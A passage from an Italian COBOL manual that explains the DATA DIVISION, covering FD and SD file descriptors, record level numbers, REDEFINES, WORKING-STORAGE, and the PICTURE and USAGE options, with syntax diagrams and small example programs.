         |  file-description-entry        record-description-entry...  |    |
         |                                                       |... |
         |  sort-merge-description-entry  record-description-entry...  |    |
         '--                                                    --'  --'
  .--
  |
  |  WORKING-STORAGE SECTION.
  |  -----------------------
  '--
         .--                          --.   --.
         |  77-level-description-entry  |     |
         |                              |...  |
         |  record-description-entry    |     |
         '--                          --'   --'
```

Sulla base della terminologia usata nello schema sintattico, si può intuire il fatto che per il linguaggio COBOL, il termine record ha un significato particolare: si tratta di una variabile strutturata, che pertanto può essere scomposta in campi, in modo più o meno articolato. In questo senso, il contenuto della sezione '**WORKING-STORAGE SECTION**' viene suddiviso in due tipi di dichiarazioni: variabili scalari non suddivisibili (la metavariabile ***77-level-description-entry***) e variabili strutturate, ovvero record. Naturalmente, una variabile strutturata (dichiarata come

record) può essere gestita e usata tranquillamente come se fosse uno scalare puro e semplice, ma questo fatto ha eventualmente delle ripercussioni nell'efficienza del programma che si ottiene dalla compilazione.

83.5.1 Sezione «FILE SECTION»

La sezione '**FILE SECTION**' ha lo scopo di definire le caratteristiche fisiche dei file e la struttura dei record. Tradizionalmente sarebbe in questa sezione che si specifica il nome o il percorso dei file in base al sistema operativo in cui si deve utilizzare il programma, salvo il caso in cui il compilatore voglia questa indicazione direttamente nella divisione '**ENVIRONMENT DIVISION**', precisamente nell'istruzione '**SELECT**' della sezione '**FILE CONTROL**'.

La descrizione di un file nella sezione '**FILE SECTION**' inizia con l'***indicatore di livello*** '**FD**' o '**SD**', a seconda che si tratti di un file «normale» o di un file da usare per le operazioni di riordino e fusione. Si osservi che queste due istruzioni iniziano nell'area A del modulo di programmazione, continuando poi nell'area B, ma è importante sottolineare che già il nome del file, evidenziato nello schema sintattico con il nome ***file-name***, deve iniziare nell'area B:

```
/              \
| FD   file-name |
< --             >
| SD   file-name |
\ --             /

      .--          --.
      |  entry-item  |... .
      '--          --'
```

Dopo ogni indicatore di livello '**FD**' o '**SD**' deve apparire la dichiarazione della variabile strutturata che rappresenta il record del file; tale dichiarazione inizia con il livello 01.

83.5.1.1 Indicatore di livello «FD»

I file comuni, ovvero quelli che non sono stati dichiarati esplicitamente per eseguire delle operazioni di riordino o di fusione, si descrivono nella sezione '**FILE SECTION**' con l'indicatore di livello '**FD**' (*File description*), che in pratica è un'istruzione singola. Si ricordi che il nome del file che segue la parola chiave '**FD**' deve iniziare nell'area B del modulo di programmazione:

```
FD  file-name
--
    .--                                         /             \ --.
    |                                           |  RECORDS     |   |
    |  BLOCK CONTAINS [integer-1 TO] integer-2  <  -------     >   |
    |  -----                     --             |  CHARACTERS  |   |
    '--                                         \             / --'

     [ RECORD CONTAINS [integer-3 TO] integer-4 CHARACTERS ]
       ------                     --

    .--        /                \   /            \ --.
    |          |  RECORD IS     |   |  OMITTED   |   |
    |  LABEL   <  ------        >   <  -------   >   |
    |  -----   |  RECORDS ARE   |   |  STANDARD  |   |
    '--        \  -------       /   \  --------  / --'

    .--           /                    /               \  \    --.
    |             |                    |  data-name-1  |  |      |
    |  VALUE OF   <  label-info-1  IS  <               >  >...   |
    |  -----      |                    |   literal-1   |  |      |
    '--           \                    \               /  /    --'

    .--       /                \                                 --.
    |         |  RECORD IS     |                                   |
    |  DATA   <  ------        >  data-name-2 [data-name-3]...     |
    |  ----   |  RECORDS ARE   |                                   |
    '--       \  -------       /                                 --'

     [ CODE-SET IS alphabet-name ].
       --------
```

Si osservi che, a seconda del compilatore e del sistema operativo per il quale il programma viene compilato, diverse dichiarazioni inserite nell'indicatore di livello '**FD**' potrebbero essere ignorate in pratica.

83.5.1.2 Indicatore di livello «SD»

I file da usare specificatamente per il riordino o la fusione, si descrivono nella sezione '**FILE SECTION**' con l'indicatore di livello '**SD**' (*Sort description*), che in pratica è un'istruzione singola. Si ricordi che il nome del file che segue la parola chiave '**SD**' deve iniziare nell'area B:

```
SD  file-name
--
     [ RECORD CONTAINS [integer-3 TO] integer-4 CHARACTERS ]
       ------                     --
    .--           /                    /               \  \    --.
    |             |                    |  data-name-1  |  |      |
    |  VALUE OF   <  label-info-1  IS  <               >  >...   |
    |  -----      |                    |   literal-1   |  |      |
    '--           \                    \               /  /    --'

    .--       /                \                                 --.
    |         |  RECORD IS     |                                   |
    |  DATA   <  ------        >  data-name-2 [data-name-3]...     | .
    |  ----   |  RECORDS ARE   |                                   |
    '--       \  -------       /                                 --'
```

83.5.1.3 Dichiarazione «BLOCK CONTAINS»

All'interno dell'indicatore di livello '**FD**' è possibile dichiarare la dimensione di un blocco fisico per l'accesso ai record del file a cui si sta facendo riferimento.

In generale, si può contare sul fatto che il sistema operativo sia in grado di gestire in modo trasparente il problema dei blocchi fisici dei dati, rispetto ai record «logici» utilizzati dai programmi; tuttavia, ci possono essere contesti in cui il programma che si genera deve provvedere da solo ad accedere all'unità di memorizzazione, pertanto in questi casi conviene dichiarare nel programma la dimensione del blocco di dati da usare per la comunicazione con l'unità stessa. Storicamente la definizione del blocco consente di gestire meglio l'utilizzo di un'unità a nastro; in altre situazioni, come per esempio con un lettore o perforatore di schede, il blocco può contenere un solo record.

```
                                              /              \
                                              |  RECORDS     |
BLOCK CONTAINS [integer-1 TO] integer-2  <  -------     >
-----                     --                  |  CHARACTERS  |
                                              \              /
```

Omettendo questa dichiarazione, si intende lasciare al compilatore o al sistema operativo il compito di determinare un valore predefinito valido.

L'unità di misura del blocco dipende dalla parola usata, o non usata, alla fine della dichiarazione: la parola chiave '**RECORDS**' indica che i valori numerici si riferiscono a quantità di record, mentre diversamente si intendono dei «caratteri». Generalmente è da considerare che per caratteri si intendano byte.

Se viene indicato un valore solo (***integer-2***), si intende che il blocco possa avere soltanto quella dimensione, altrimenti, si intende dire al compilatore che c'è la possibilità di usare blocchi che hanno una dimensione minima (***integer-1***) e una massima (***integer-2***).

83.5.1.4 Dichiarazione «DATA RECORD»

La dichiarazione '**DATA RECORD**', che riguarda sia l'indicatore di livello '**FD**', sia '**SD**', è superata e generalmente viene ignorata dai compilatori. Il suo scopo è quello di dichiarare il nome di una o più variabili strutturate che descrivono il record del file. Questa dichiarazione è superata soprattutto perché il record viene comunque indicato successivamente attraverso la dichiarazione di una variabile strutturata apposita.

```
      /                \
      |  RECORD IS     |
DATA  <  ------        >  data-name-2 [data-name-3]...
----  |  RECORDS ARE   |
      \  -------       /
```

I nomi da inserire al posto delle metavariabili ***data-name*** dello schema sintattico devono corrispondere a nomi di record (variabili strutturate) descritti con il numero di livello 01. La presenza di più di uno di questi nomi nella dichiarazione '**DATA**' implica che i record del file possono avere una struttura e una dimensione differente.

83.5.1.5 Dichiarazione «LABEL RECORD»

A seconda del tipo di unità di memorizzazione dei dati, ci può essere la necessità di aggiungere ai record delle informazioni per poterne poi gestire l'accesso. Il linguaggio COBOL prevede la possibilità di dover gestire direttamente questo meccanismo di etichettatura dei record, ma generalmente i sistemi operativi attuali dovrebbero rendere questo meccanismo trasparente, togliendo al programma COBOL l'onere di doversene occupare.

La dichiarazione '**LABEL RECORD**' servirebbe per stabilire se siano da gestire le «etichette» dei record, oppure se questa funzione non debba essere considerata dal programma. Attualmente, tale dichiarazione è superata e generalmente i compilatori si limitano a ignorarla:

```
            /             \   /            \
            |  RECORD IS  |   |  OMITTED   |
     LABEL  <  ------     >   <  -------   >
     -----  |  RECORDS ARE |  |  STANDARD  |
            \  -------    /   \  --------  /
```

Dovendo o volendo inserire questa dichiarazione, in caso di dubbio la forma '**LABEL RECORD IS STANDARD**' dovrebbe essere quella più adatta, anche se non è più compito del programma occuparsi delle etichette. Di per sé, l'omissione di questa dichiarazione comporta, per il compilatore che dovesse volerla, proprio l'utilizzo della forma standard.

83.5.1.6 Dichiarazione «RECORD CONTAINS»

La dichiarazione '**RECORD CONTAINS**', che riguarda sia l'indicatore di livello '**FD**', sia '**SD**', permette di specificare la dimensione del record:

```
RECORD CONTAINS [integer-3 TO] integer-4 CHARACTERS
------                     --
```

Come si può intuire, se si indica un valore solo, si intende che il record abbia una dimensione fissa, altrimenti si prevede un intervallo di valori: da un minimo a un massimo.

Generalmente, i compilatori si limitano a ignorare questa dichiarazione, perché le informazioni che porta sono già incluse nella variabile strutturata che descrive il record stesso, pertanto è sufficiente associare più variabili strutturate nella dichiarazione '**DATA RECORD**'.

83.5.1.7 Dichiarazione «CODE-SET»

La dichiarazione '**CODE-SET**' riguarda i file a organizzazione sequenziale e serve a specificare l'insieme di caratteri con cui tale file è codificato. Tradizionalmente, questa istruzione è servita per gestire dati in formato EBCDIC, in contrapposizione al codice ASCII, o viceversa.

```
CODE-SET IS alphabet-name
--------
```

Al posto della metavariabile ***alphabet-name*** va inserita una parola che definisce l'insieme di caratteri del file, secondo le aspettative del compilatore utilizzato.

83.5.1.8 Dichiarazione «VALUE OF»

La dichiarazione '**`VALUE OF`**' consente, in un certo senso, di assegnare dei valori a delle voci legate alle caratteristiche del file. La cosa più importante che si potrebbe fare è di specificare il file da utilizzare secondo ciò che richiede il sistema operativo. Per esempio, se si tratta di un file su disco e il sistema operativo richiede di indicare anche i dischi per nome, il compilatore dovrebbe prevedere qui una voce appropriata.

```
             /                    /              \  \
             |                    |  data-name-1 |  |
VALUE OF  <  label-info-1  IS  <                >  >...
-----        |                    |   literal-1   |  |
             \                    \              /  /
```

Le voci che si possono dichiarare qui possono essere di ogni tipo, con la possibilità di abbinare un valore costante (una stringa alfanumerica), oppure una variabile il cui contenuto viene poi modificato in fase elaborativa.

L'estratto seguente di un programma COBOL, scritto per il compilatore TinyCOBOL, mostra l'uso della voce '**`FILE-ID`**' per dichiarare il nome del file da utilizzare:

```
001000 FILE-CONTROL.
001100     SELECT FILE-NAME ASSIGN TO DISK
001200                      ORGANIZATION IS SEQUENTIAL
001300                      ACCESS MODE IS SEQUENTIAL
001400                      FILE STATUS IS DATA-NAME.
001600 DATA DIVISION.
001700 FILE SECTION.
001800 FD  FILE-NAME
001900     LABEL RECORD IS STANDARD
002000     VALUE OF FILE-ID IS "input.seq".
002100 01  RECORD-NAME  PIC X(20).
002200 WORKING-STORAGE SECTION.
002300 01  DATA-NAME    PIC XX.
```

83.5.1.9 Descrizione del record

Dopo ogni indicatore di livello ('**`FD`**' o '**`SD`**') si deve descrivere il record attraverso una variabile strutturata, che si dichiara con quelli che sono noti come ***livelli***. I livelli sono in pratica delle dichiarazioni che costituiscono ognuna delle istruzioni singole, ma in tal caso, a differenza delle istruzioni comuni, iniziano con un numero: il numero di livello.

Il livello 01 è obbligatorio e dichiara il nome della variabile strutturata che descrive il record nella sua interezza; qualunque numero superiore serve a descrivere una porzione inferiore del record, con la possibilità di scomposizioni successive. I numeri di livello che possono essere usati per questo scopo sono limitati all'intervallo da 01 a 49, tenendo conto che, a parte l'obbligo di iniziare da 01, i livelli inferiori possono utilizzare incrementi superiori all'unità. Si osservi l'esempio seguente che contiene un estratto dalla sezione '**`FILE SECTION`**':

```
001600 DATA DIVISION.
001700 FILE SECTION.
001800 FD  SALES-FILE
001830     LABEL RECORD IS STANDARD
001860     VALUE OF FILE-ID IS "sales".
001900 01  SALES-RECORD.
002000     05  SALES-VENDOR-NAME       PIC X(20).
002100     05  SALES-VALUE             PIC S9(6).
002200     05  SALES-NUMBER            PIC X(13).
002300     05  SALES-TYPE              PIC X.
002400     05  SALES-VENDOR-REGION     PIC X(17).
002500     05  SALES-VENDOR-CITY       PIC X(20).
002600     05  SALES-COMMENTS          PIC X(60).
```

Il file individuato dal nome '**`SALES-FILE`**' si compone di record a cui si può fare riferimento con la variabile strutturata '**`SALES-RECORD`**'. Il record si suddivide in sette campi con caratteristiche diverse. Il record nella sua interezza corrisponde al livello 01, evidenziato dalla sigla '**`01`**' che si trova nell'area A del modulo di programmazione. Come si vede nel livello 01 dell'esempio, la variabile strutturata che rappresenta tutto il record viene solo nominata, senza altre indicazioni, perché la sua dimensione si determina dalla somma dei campi che contiene.

I numeri di livello, mano a mano che si annidano in sottolivelli successivi, devono crescere: non è importante se il numero cresce di una o di più unità. Tradizionalmente, i livelli vengono incrementati con un passo maggiore di uno, per facilitare la modifica del sorgente quando dovesse presentarsi l'esigenza di ristrutturare i livelli.

Per comprendere meglio il senso della descrizione del record attraverso il sistema dei livelli, conviene dare un'occhiata allo schema successivo:

registrazione n.	data operazione			carico		scarico		descrizione operazione
	anno	mese	giorno	quantità caricata	costo unitario	quantità scaricata	valore unitario di scarico	

Quello che appare nello schema vuole rappresentare il record di un file da usare per memorizzare carichi e scarichi di un magazzino. Si può osservare inizialmente un campo per numerare le registrazioni (ogni registrazione occupa un record), successivamente, appare la data dell'operazione suddivisa in tre parti (anno, mese e giorno), quindi viene indicato il carico, suddividendo la quantità caricata e il costo unitario di carico, quindi lo scarico, anche questo diviso in quantità scaricata e valore unitario di scarico, infine appare un campo descrittivo dell'operazione. Un record di questo tipo potrebbe essere descritto utilizzando i livelli nel modo seguente:

```
000000 01  RECORD-MOVIMENTI-DI-MAGAZZINO.
000000     10  MM-NUMERO-REGISTRAZIONE         PIC 99999.
000000     10  MM-DATA-REGISTRAZIONE.
000000         20  MM-DATA-REGISTRAZIONE-ANNO   PIC 9999.
000000         20  MM-DATA-REGISTRAZIONE-MESE   PIC 99.
000000         20  MM-DATA-REGISTRAZIONE-GIORNO PIC 99.
000000     10  MM-CARICO.
000000         20  MM-CARICO-QUANTITA           PIC 9(8)V999.
000000         20  MM-CARICO-COSTO-UNITARIO     PIC 999999V99.
000000     10  MM-SCARICO.
000000         20  MM-SCARICO-QUANTITA          PIC 9(8)V999.
000000         20  MM-SCARICO-VALORE-UNITARIO   PIC 999999V99.
000000     10  MM-DESCRIZIONE                  PIC X(200).
```

Come si può comprendere dall'esempio e come già accennato in precedenza, per le porzioni di record che non si scompongono ulteriormente, si devono specificare le dimensioni, sommando le quali si ottiene la dimensione dei vari raggruppamenti e infine del record complessivo. La sintassi per rappresentare i livelli si potrebbe semplificare in questa fase nel modo seguente, dove però non si usa la notazione standard del linguaggio COBOL:

nn ***nome-campo*** [PIC[TURE] [IS] ***modello_della_variabile*** [***opzioni***]] .

Ciò che non è stato descritto fino a questo punto è la parte di dichiarazione successiva al nome del campo, che inizia con la parola chiave '**`PICTURE`**', spesso abbreviata soltanto con '**`PIC`**'. Ciò che appare qui serve a definire il modello della variabile, ovvero la sua dimensione e le sue caratteristiche.

Il modello di definizione della variabile è una stringa che va composta seguendo regole precise. Con questo modello si specifica se la variabile è di tipo numerico o alfanumerico, la sua dimensione, la presenza eventuale di una virgola (ovviamente per i valori numerici), il segno ed eventualmente una maschera di trasformazione. Dopo il modello di definizione della variabile possono apparire delle opzioni, in forma di dichiarazioni ulteriori, che servono a precisare la modalità con cui la variabile deve essere rappresentata internamente alla memoria centrale.

Quando si dichiara una variabile numerica, è importante chiarire quale rappresentazione deve avere. A seconda del compilatore, la variabile numerica potrebbe essere gestita in forma binaria oppure in forma BCD (*Binary coded decimal*), che a sua volta può essere «normale», dove ogni cifra occupa un byte, oppure *packed*, dove ogni cifra occupa mezzo byte (4 bit, noto anche come nibble). Questa caratteristica della variabile si definisce con le dichiarazioni opzionali che seguono il modello di definizione della variabile.

Il modo in cui si dichiara il modello di definizione della variabile è descritto nella sezione 83.9, mentre per una visione complessiva del modo in cui si dichiara una variable, si deve consultare la sezione 83.6; tuttavia, in questa fase si può cominciare ugualmente a interpretare l'esempio mostrato in precedenza, osservando in particolare i campi seguenti:

- il campo '**`MM-NUMERO-REGISTRAZIONE`**' può contenere un numero intero senza segno di cinque cifre: da zero a 99999;

- il campo '**MM-CARICO-QUANTITA**' può contenere un numero senza segno con otto cifre per la parte intera e tre cifre per la parte decimale;
- il campo '**MM-COSTO-UNITARIO**' può contenere un numero senza segno con sei cifre per la parte intera e due cifre per la parte decimale;
- il campo '**MM-DESCRIZIONE**' può contenere caratteri alfanumerici di qualunque tipo (nell'ambito di una rappresentazione in byte), per una dimensione di 200 caratteri.

Nell'esempio del magazzino si può notare che tutti i nomi usati per individuare le varie componenti del record sono unici, ma oltre a questo è stata usata l'accortezza di mettere un prefisso ('**MM-**') per distinguerli rispetto a campi di altri file che potrebbero avere una struttura del record simile. Tuttavia, non è strettamente necessario che tali nomi siano univoci per tutto il programma, perché è prevista la possibilità di qualificarli in modo gerarchico. La qualificazione è descritta nella sezione 83.8.3.

Esiste anche la possibilità di ridefinire la struttura di un record, assegnando un nome alternativo a un certo livello che si vuole descrivere diversamente. Si osservi l'esempio seguente:

```
000000 01  MIO-RECORD.
000000     02  CAMPO-A                         PIC X(20).
000000     02  RIDEFINITO-A REDEFINES CAMPO-A.
000000         03  DATA.
000000             04  ANNO                    PIC 9999.
000000             04  MESE                    PIC 99.
000000             04  GIORNO                  PIC 99.
000000         03  DESCRIZIONE                 PIC X(12).
000000     02  CAMPO-B …
…
```

Nell'esempio si vede un record denominato '**MIO-RECORD**', che inizialmente è composto dal campo '**CAMPO-A**' fatto per contenere 20 caratteri. Questo campo viene ridefinito nella riga successiva con il nome '**RIDEFINITO-A**', che si articola in sottocampi, con i quali si vuole descrivere in modo alternativo la variabile '**CAMPO-A**'. In base al contesto si intende che i primi otto caratteri possano essere interpretati come le cifre numeriche di una data (anno, mese e giorno), individuando il resto come una descrizione non meglio qualificabile.

Generalmente, la ridefinizione di un campo che non è suddiviso è di scarsa utilità, mentre è più interessante quando si applica a campi che hanno già una suddivisione, che però si vuole gestire anche in modo differente:

```
000000 01  MIO-RECORD.
000000     02  A
000000         03  B                           PIC X(10).
000000         03  C                           PIC X(10).
000000     02  D REDEFINES A.
000000         03  E                           PIC X(5).
000000         03  F                           PIC X(10).
000000         03  G                           PIC X(5).
000000     02  H …
…
```

In questo caso, il campo '**A**' è composto complessivamente da 20 caratteri, a cui si accede con i campi '**B**' e '**C**' per i primi 10 e gli ultimi 10 rispettivamente. La ridefinizione successiva, consente di accedere a una porzione centrale, a cavallo dei campi '**B**' e '**C**', con il campo '**F**'.

83.5.2 Sezione «WORKING-STORAGE SECTION»

La sezione '**WORKING-STORAGE SECTION**' serve a dichiarare le variabili, strutturate o scalari, utilizzate dal programma, che non si riferiscono direttamente alla descrizione dei record dei file:

```
WORKING-STORAGE SECTION.
-----------------------
      .--                          --.
      |  77-level-description-entry  |
      |                              |...
      |  record-description-entry    |
      '--                          --'
```

A differenza della sezione '**FILE SECTION**', oltre alla dichiarazione di variabili strutturate, è possibile dichiarare delle variabili scalari (non suddivisibili), utilizzando il livello speciale numero 77.

```
000000 WORKING-STORAGE SECTION.
000000 01  DATA-DA-SCOMPORRE.
000000     02  ANNO              PIC 9999.
000000     02  MESE              PIC 99.
000000     02  GIORNO            PIC 99.
000000 77  FINE-DEL-FILE         PIC 9.
000000 77  A                     PIC X(10).
000000 77  B                     PIC 9999V99.
```

Il livello 77 viene dichiarato mettendo il numero relativo nella colonna dell'area A del modulo di programmazione, così come si fa per il livello 01; nello stesso modo, il nome della variabile scalare si scrive nell'area B. L'esempio che appare sopra dovrebbe essere sufficiente a comprendere l'uso della sezione '**WORKING-STORAGE SECTION**', tenendo conto che vale quanto descritto a proposito delle variabili strutturate che descrivono i record nella sezione '**FILE SECTION**', compresa la ridefinizione.

La dichiarazione di una variabile scalare con il livello 77 consente di specificare dei tipi numerici binari (come '**USAGE IS INDEX**'), per i quali non si può prevedere la dimensione in modo standard. L'uso di questi tipi numerici speciali non è ammesso nei campi di una variabile scalare descrittiva di un record.

83.5.3 Altri livelli speciali

Oltre ai livelli che servono a descrivere le variabili strutturate (da 01 a 49) e le variabili scalari (77), sono previsti due livelli speciali: 66 e 88. Questi livelli speciali servono a definire dei raggruppamenti di variabili appartenenti alla stessa struttura o a definire dei «nomi di condizione».

La descrizione di questi ulteriori livelli speciali viene fatta nella sezione 83.8.

83.6 Descrizione delle variabili

Lo schema sintattico seguente descrive la dichiarazione delle variabili per i livelli da 01 a 49 e per il livello 77:

```
                   .--             --.
                   |  data-name-1   |
level-number       |                |  [REDEFINES data-name-2]
                   |  FILLER        |   ---------
                   `--------       --'

                   .--  /          \                    --.
                   |    | PICTURE  |                      |
                   |    <  -------  >  IS character-string |
                   |    | PIC      |                      |
                   `--  \  ---     /                    --'

                   .--             /                 \  --.
                   |               |  COMPUTATIONAL  |    |
                   |               |  -------------  |    |
                   |               |  COMP           |    |
                   |  [USAGE IS]   <  ----           >    |
                   |    -----      |  DISPLAY        |    |
                   |               |  -------        |    |
                   |               |  INDEX          |    |
                   `--             \  -----          /  --'

                   .--          /            \                      --.
                   |            |  LEADING   |                        |
                   |  [SIGN IS] <  -------   >  [SEPARATE CHARACTER]  |
                   |    ----    |  TRAILING  |   --------             |
                   `--          \  --------  /                      --'

                   .--       /                                                    \  --.
                   |         |                integer-2 TIMES                     |    |
                   |  OCCURS <                                                    >    |
                   |  ------ |  integer-1 TO integer-2 TIMES [DEPENDING ON data-name-3] |    |
                   |         \            --                  ---------           /    |
                   |                                                                   |
                   |         .--  /            \                          --.          |
                   |         |    |  ASCENDING  |                           |          |
                   |         |    <  ---------  >  KEY IS  {data-name-4}... |...       |
                   |         |    |  DESCENDING |                           |          |
                   |         `--  \  ---------- /                         --'          |
                   |                                                                   |
                   |         [ INDEXED BY  {index-name-1}... ]                         |
                   `--         -------                                               --'

                   .--  /               \  .--      --.  --.
                   |    |  SYNCHRONIZED  |  |  LEFT    |    |
                   |    <  ------------  >  |  ----    |    |
                   |    |  SYNC          |  |  RIGHT   |    |
                   `--  \  ----          /  `-------- --'  --'

                   .--  /            \          --.
                   |    |  JUSTIFIED  |            |
                   |    <  ---------  >  RIGHT     |
                   |    |  JUST       |  -----     |
                   `--  \  ----       /          --'

                   [ BLANK WHEN ZERO ]
                     -----      ----
                   [ VALUE IS literal-1 ].
                     -----
```

Formato per il livello 66:

```
                                                .--  /           \              --.
                                                |    |  THROUGH   |               |
66   data-name-1   RENAMES data-name-2          |    <  -------   >  data-name-3  | .
                   -------                      |    |  THRU      |               |
                                                `--  \  ----      /             --'
```

Formato per il livello 88:

```
                    /             \ /           .-- /          \          --. \
                    | VALUE IS    | |           |   | THROUGH |             | |
88  condition-name  < -----       > < literal-1 |   < ------- > literal-2   | >... .
                    | VALUES ARE  | |           |   | THRU    |             | |
                    \ ------      / \           `-- \ ----    /           --' /
```

Nel primo schema, l'indicazione del nome della variabile, che si vede in alternativa alla parola chiave '**FILLER**', deve apparire immediatamente dopo il numero di livello; inoltre, se si usa la parola chiave '**REDEFINES**', questa segue immediatamente il nome della variabile. Il resto delle opzioni può essere inserito con l'ordine che si preferisce, rispettando comunque lo schema e l'eventuale interdipendenza che c'è tra le opzioni stesse.

L'opzione che definisce il modello di definizione della variabile, introdotta dalla parola chiave '**PICTURE**', deve essere usata per ogni variabile che non si scompone ulteriormente e non può essere usata negli altri casi. Nello stesso modo, le opzioni '**SYNCHRONIZED**', '**JUSTIFIED**' e '**BLANK WHEN ZERO**' si possono usare solo per le variabili terminali (che non si scompongono).

Il valore iniziale delle variabili, a eccezione del tipo '**INDEX**', si specifica con l'opzione introdotta dalla parola chiave '**VALUE**'. Quando non si usa o non si può usare questa opzione, il valore iniziale delle variabile non è conosciuto e non può essere previsto.

La descrizione dei nomi di condizione (livello 88) è disponibile nella sezione 83.8.1, mentre per quella riguardante i raggruppamenti alternativi di variabili si può consultare la sezione 83.8.2.

83.6.1 Oggetto della dichiarazione

La dichiarazione di una variabile (livelli da 01 a 49 e 77) avviene indicandone il nome subito dopo il numero di livello. Il nome della variable può non essere univoco nell'ambito del programma, purché sia possibile individuare correttamente la variabile attraverso la qualificazione (sezione 83.8.3).

Al posto di indicare il nome di una variabile, è possibile mettere la parola chiave '**FILLER**', quando il campo a cui fa riferimento non viene mai utilizzato direttamente. Naturalmente, l'uso di questa parola chiave non è ammissibile in un livello '**77**', perché non avrebbe senso dichiarare una variabile scalare, indipendente da qualunque altra, senza avere poi la possibilità di utilizzarla nel programma.

83.6.2 Ridefinizione di una variabile

L'opzione '**REDEFINES**' può essere usata soltanto quando si dichiara una variabile, nell'ambito dei livelli da 01 a 49 (si esclude quindi l'uso della parola chiave '**FILLER**'), allo scopo di ridefinire la struttura di un'altra variabile che si trova allo stesso livello.

```
000000 01  MIO-RECORD.
000000     02  A
000000         03  B                             PIC X(10).
000000         03  C                             PIC X(10).
000000     02  D REDEFINES A.
000000         03  E                             PIC X(5).
000000         03  F                             PIC X(10).
000000         03  G                             PIC X(5).
000000     02  H …
…
```

L'esempio mostra che il campo '**A**' è composto complessivamente da 20 caratteri, a cui si accede con i campi '**B**' e '**C**' per i primi 10 e gli ultimi 10 rispettivamente. La ridefinizione successiva, consente di accedere a una porzione centrale, a cavallo dei campi '**B**' e '**C**', con il campo '**F**'.

```
000100 IDENTIFICATION DIVISION.
000200 PROGRAM-ID.   PICTURE-REDEFINES.
000300 AUTHOR.       DANIELE GIACOMINI.
000400 DATE-WRITTEN. 2005-02-25.
000500*
000600 ENVIRONMENT DIVISION.
000700*
000800 DATA DIVISION.
000900*
001000 WORKING-STORAGE SECTION.
001100 01  RECORD-A.
001200     02  P        PICTURE X(10)        USAGE IS DISPLAY.
001300     02  Q        PICTURE X(10)        USAGE IS DISPLAY.
001400 01  RECORD-B REDEFINES RECORD-A.
001500     02  R        PICTURE X(5)         USAGE IS DISPLAY.
001600     02  S        PICTURE X(10)        USAGE IS DISPLAY.
001700     02  T        PICTURE X(5)         USAGE IS DISPLAY.
001800*
001900 PROCEDURE DIVISION.
002000*
002100 MAIN.
002200     MOVE "ABCDEFGHIJKLMNOPQRST" TO RECORD-A.
002300     DISPLAY "P: ", P.
002400     DISPLAY "Q: ", Q.
002500     DISPLAY "R: ", R.
002600     DISPLAY "S: ", S.
002700     DISPLAY "T: ", T.
002800*
002900     STOP RUN.
003000*
```

Questo esempio ulteriore mostra un piccolo programma completo, che dimostra il funzionamento della ridefinizione, visualizzando le variabili associate a '**RECORD-A**' e a '**RECORD-B**', che ridefinisce il primo. Se si compila questo programma con TinyCOBOL o con OpenCOBOL, l'avvio dell'eseguibile che si ottiene genera il risultato seguente:

```
P: ABCDEFGHIJ
Q: KLMNOPQRST
R: ABCDE
S: FGHIJKLMNO
T: PQRST
```

83.6.3 Opzione «PICTURE»

Attraverso l'opzione '**PICTURE**', che è obbligatoria per le variabili che non si scompongono in livelli inferiori, si definisce precisamente come è fatta la variabile. L'argomento dell'opzione è una stringa che descrive la variabile.

Il modo in cui si rappresenta il modello delle variabili è molto articolato e viene descritto nella sezione 83.9.

83.6.4 Opzione «USAGE»

Per il linguaggio COBOL, il contenuto di una variabile può essere solo di due tipi: alfanumerico o numerico. Una variabile dichiarata per contenere valori alfanumerici, utilizza un formato a «caratteri» (normalmente si tratta della codifica ASCII o EBCDIC), mentre per i valori numerici ci sono delle alternative. Attraverso l'opzione '**USAGE**' si può specificare il modo in cui la variabile deve contenere i dati.

```
             /                      \
             |  COMPUTATIONAL       |
             |  -------------       |
             |                      |
             |  COMP                |
[USAGE IS]   <  ----                >
 -----       |  DISPLAY             |
             |  -------             |
             |                      |
             |  INDEX               |
             \  -----               /
```

Il formato definito dalla parola chiave '**DISPLAY**' corrisponde a un'organizzazione a caratteri. Si tratta evidentemente del formato necessario per le variabili alfanumeriche, ma può essere usato anche per le variabili numeriche.

Il formato '**COMPUTATIONAL**', abbreviabile anche con '**COMP**', può essere usato soltanto per i valori numerici e richiede l'utilizzo di 4 bit per ogni cifra numerica e anche per il segno (se specificato).

Il formato '**INDEX**' serve a dichiarare una variabile speciale, che può rappresentare soltanto numeri interi senza segno. Non si può associare un modello di definizione della variabile quando il formato è '**INDEX**', perché la dimensione è fissa e dipende dal compilatore. L'uso di queste variabili è anche limitato a certi contesti (di solito ne è ammesso l'uso negli indici delle tabelle ed eventualmente nei contatori delle iterazioni) e queste variabili si dichiarano soltanto con un livello 77 in modo da essere svincolati da una struttura a record.

L'opzione '**USAGE**' va usata principalmente nella descrizione di variabili terminali; teoricamente si può indicare l'opzione '**USAGE**' anche per variabili che si suddividono in campi e in tal caso i livelli gerarchicamente inferiori ereditano l'opzione da quelli superiori. Tuttavia, è meglio evitare questa pratica e limitarsi a usare l'opzione '**USAGE**' soltanto sui campi terminali, tenendo conto che così i campi composti sono implicitamente di tipo '**DISPLAY**'.

Volendo assegnare a una variabile strutturata un tipo diverso da '**DISPLAY**', si otterrebbe solamente di assegnare questa caratteristica ai livelli inferiori, perché una variabile strutturata, ammesso che la si voglia utilizzare direttamente, nel suo complesso, può funzionare soltanto come '**DISPLAY**'. Come conseguenza, una variabile strutturata può essere formata soltanto da un numero intero di byte.

Quando si dichiarano su uno stesso livello variabili numeriche organizzate secondo il formato '**COMPUTATIONAL**', queste utilizzano regolarmente lo spazio loro assegnato, condividendo eventualmente i byte che dovessero trovarsi a cavallo tra una e l'altra; tuttavia, nell'ambito della variabile composta che contiene questi livelli, i dati devono occupare una quantità di byte intera, pertanto si può perdere eventualmente un po' di spazio alla fine.

Figura 83.75. Confronto fra due variabili strutturate.

```
01  A.                              01  B.
                                        02  I.
    03  P PIC 9     COMP.                   03  P PIC 9     COMP.
                                        02  J.
    03  Q PIC S99   COMP.                   03  Q PIC S99   COMP.
                                        02  K.
    03  R PIC 999   COMP.                   03  R PIC 999   COMP.
                                        02  L.
    03  S PIC 9     COMP.                   03  S PIC 9     COMP.
    03  T PIC X.                            03  T PIC X.

-------------------------------------------------------------

 9 S 9 9 9 9 9 9 0 -X-          9 0 S 9 9 0 9 9 9 0 9 0 -X-
|_|_____|_____|_|  |___|       |_|  |_____|  |_____|  |_|  |___|
 |   |      |   |    |          |     |        |       |    |
 P   Q      R   S    T          P     Q        R       S    T
|______________________|       |___|________|________|________|
         |                        |     |        |        |
         A                        I     J        K        L
                               |____________________________|
                                              |
                                              B
```

